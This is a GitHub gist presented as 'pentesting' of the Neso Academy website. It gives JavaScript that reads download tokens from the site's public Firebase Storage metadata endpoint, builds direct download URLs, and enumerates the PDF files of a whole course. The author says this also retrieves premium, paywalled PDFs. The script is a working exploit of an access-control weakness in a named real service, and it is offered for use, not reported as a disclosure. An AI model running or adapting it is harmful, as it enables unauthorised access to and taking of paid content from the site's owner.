Skip to content

Instantly share code, notes, and snippets.

@KorigamiK
Created February 26, 2023 14:23
Show Gist options
  • Save KorigamiK/ca5d69f21ab2768a7eaa906e65685b68 to your computer and use it in GitHub Desktop.
Save KorigamiK/ca5d69f21ab2768a7eaa906e65685b68 to your computer and use it in GitHub Desktop.
(not for) downloading from neso academy

Neso Academy - Unexpected Pentesting

I need to Generate this:

https://firebasestorage.googleapis.com/v0/b/neso-c53c4.appspot.com/o/PDFs%2FPPT%2Fcs003_1_p?alt=media&token=048a91e0-a073-4acd-ac43-8505644a73fa

From this endpoint:

https://firebasestorage.googleapis.com/v0/b/neso-c53c4.appspot.com/o/PDFs%2FPPT%2Fcs003_6_p

which returns this json

{
  "name": "PDFs/PPT/cs003_6_p",
  "bucket": "neso-c53c4.appspot.com",
  "generation": "1625475334027706",
  "metageneration": "1",
  "contentType": "application/octet-stream",
  "timeCreated": "2021-07-05T08:55:34.032Z",
  "updated": "2021-07-05T08:55:34.032Z",
  "storageClass": "STANDARD",
  "size": "1217505",
  "md5Hash": "XoNSd6K4Q265AsL/PqgDYQ==",
  "contentEncoding": "identity",
  "contentDisposition": "inline; filename*=utf-8''cs003_6_p",
  "crc32c": "K65Rzg==",
  "etag": "CLrzgL/Hy/ECEAE=",
  "downloadTokens": "62495eba-ea22-4e70-9700-02288a7915d4"
}

So to get this endpoint we need just the pdf name as a parameter, and then we can get the download token from the json response.

I tried to do this with the following code:

const getDownloadUrl = async (pdfName) => {
    const resp = await fetch(`https://firebasestorage.googleapis.com/v0/b/neso-c53c4.appspot.com/o/PDFs%2FPPT%2F${pdfName}`)
    const respJson = await resp.json()
    const downloadUrl = `https://firebasestorage.googleapis.com/v0/b/neso-c53c4.appspot.com/o/PDFs%2FPPT%2F${pdfName}?alt=media&token=${respJson.downloadTokens}`
    return downloadUrl
}

await getDownloadUrl('cs003_6_p')

Use this to collect all the links of the pdfs of a course:

const course = 'cs003'
const pdfs = []
await Promise.all([...Array(12).keys()].map(async (i) => {
    const pdfName = `${course}_${i+1}_p`
    const downloadUrl = await getDownloadUrl(pdfName)
    pdfs.push(downloadUrl)
}))
console.log(pdfs)

Yes, I you premium pdfs also.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment